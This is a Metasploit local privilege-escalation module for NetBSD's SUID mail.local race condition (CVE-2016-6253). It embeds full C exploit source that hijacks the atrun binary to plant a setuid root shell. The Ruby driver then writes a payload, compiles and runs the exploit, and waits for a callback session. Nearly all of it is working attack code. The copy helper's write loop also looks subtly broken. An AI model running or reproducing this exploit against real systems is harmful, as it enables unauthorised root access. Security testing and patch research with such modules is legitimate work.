## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking
include Msf::Post::File include Msf::Exploit::FileDropper
def initialize(info = {}) super(update_info(info, 'Name' => 'NetBSD mail.local Privilege Escalation', 'Description' => %q{ This module attempts to exploit a race condition in mail.local with SUID bit set on: NetBSD 7.0 - 7.0.1 (verified on 7.0.1) NetBSD 6.1 - 6.1.5 NetBSD 6.0 - 6.0.6 Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@stcyrsecurity.com>', # Module 'akat1' # Discovery ],
'DisclosureDate' => 'Jul 07 2016', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'SessionTypes' => %w{shell meterpreter}, 'Privileged' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic openssl' } }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick 'References' => [ [ "URL", "http://akat1.pl/?id=2"], [ "EDB", "40141"], [ "CVE", "2016-6253"], [ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"] ] )) register_options([ OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']), OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603]) ], self.class) end
def exploit # lots of this file's format is based on pkexec.rb
# direct copy of code from exploit-db main = %q{ // Source: http://akat1.pl/?id=2
#include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <stdlib.h> #include <string.h> #include <err.h> #include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun" #define MAILDIR "/var/mail"
static int overwrite_atrun(void) { char *script = "#! /bin/sh\n" "cp /bin/ksh /tmp/ksh\n" "chmod +s /tmp/ksh\n"; size_t size; FILE *fh; int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) { rv = -1; goto out; }
size = strlen(script); if (size != fwrite(script, 1, strlen(script), fh)) { rv = -1; goto out; }
out: if (fh != NULL && fclose(fh) != 0) rv = -1;
return rv; }
static int copy_file(const char *from, const char *dest, int create) { char buf[1024]; FILE *in = NULL, *out = NULL; size_t size; int rv = 0, fd;
in = fopen(from, "rb"); if (create == 0) out = fopen(dest, "wb"); else { fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR); if (fd == -1) { rv = -1; goto out; } out = fdopen(fd, "wb"); }
if (in == NULL || out == NULL) { rv = -1; goto out; }
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) { if (fwrite(&buf, 1, size, in) != 0) { rv = -1; goto out; } }
out: if (in != NULL && fclose(in) != 0) rv = -1; if (out != NULL && fclose(out) != 0) rv = -1; return rv; }
int main() { pid_t pid; uid_t uid; struct stat sb; char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL) err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL) err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) { /* backup mailbox */ asprintf(&mailbox_backup, "/tmp/%s", login); if (mailbox_backup == NULL) err(EXIT_FAILURE, NULL); }
if (mailbox_backup != NULL) { fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup); if (copy_file(mailbox, mailbox_backup, 1)) err(EXIT_FAILURE, "[-] failed"); }
/* backup atrun(1) */ atrun_backup = strdup("/tmp/atrun"); if (atrun_backup == NULL) err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1)) err(EXIT_FAILURE, "[-] failed");
/* win the race */ fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) { case -1: err(EXIT_FAILURE, NULL); /* NOTREACHED */ case 0: asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s " "2> /dev/null", login);
for(;;) system(buf); /* NOTREACHED */
default: umask(0022); for(;;) { int fd; unlink(mailbox); symlink(ATRUNPATH, mailbox); sync(); unlink(mailbox); fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR); close(fd); sync(); if (lstat(ATRUNPATH, &sb) == 0) { if (sb.st_uid == uid) { kill(pid, 9); fprintf(stderr, "[+] won race!\n"); break; } } } break; } (void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) { /* restore mailbox */ fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(mailbox_backup) != 0) err(EXIT_FAILURE, "[-] failed"); }
/* overwrite atrun */ fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0) err(EXIT_FAILURE, NULL);
if (overwrite_atrun()) err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) { if (access("/tmp/ksh", F_OK) != -1) break; }
/* restore atrun */ fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(atrun_backup) != 0) err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0) err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) " "ownership.\n"); fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0; } } # patch in our variable maildir and atrunpath main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/, "#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"") main.gsub!(/#define MAILDIR "\/var\/mail"/, "#define MAILDIR \"#{datastore["MAILDIR"]}\"")
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}" payload_file = "#{rand_text_alpha(8)}" payload_path = "#{datastore["WritableDir"]}/#{payload_file}" vprint_status("Writing Payload to #{payload_path}") # patch in to run our payload as part of ksh main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/, "execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
write_file(payload_path, payload.encoded) cmd_exec("chmod 555 #{payload_path}") register_file_for_cleanup(payload_path)
print_status "Writing exploit to #{executable_path}.c"
# clean previous bad attempts to prevent c code from exiting rm_f executable_path rm_f '/tmp/atrun' whoami = cmd_exec('whoami') rm_f "/tmp/#{whoami}"
write_file("#{executable_path}.c", main) print_status("Compiling #{executable_path}.c via gcc") output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c") output.each_line { |line| vprint_status(line.chomp) }
print_status('Starting the payload handler...') handler({})
print_status("Executing at #{Time.now}. May take up to 10min for callback") output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out") output.each_line { |line| vprint_status(line.chomp) }
# our sleep timer stime = Time.now.to_f until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f Rex.sleep(1) end print_status("#{Time.now}") register_file_for_cleanup(executable_path) register_file_for_cleanup("#{executable_path}.out") print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}") end end
|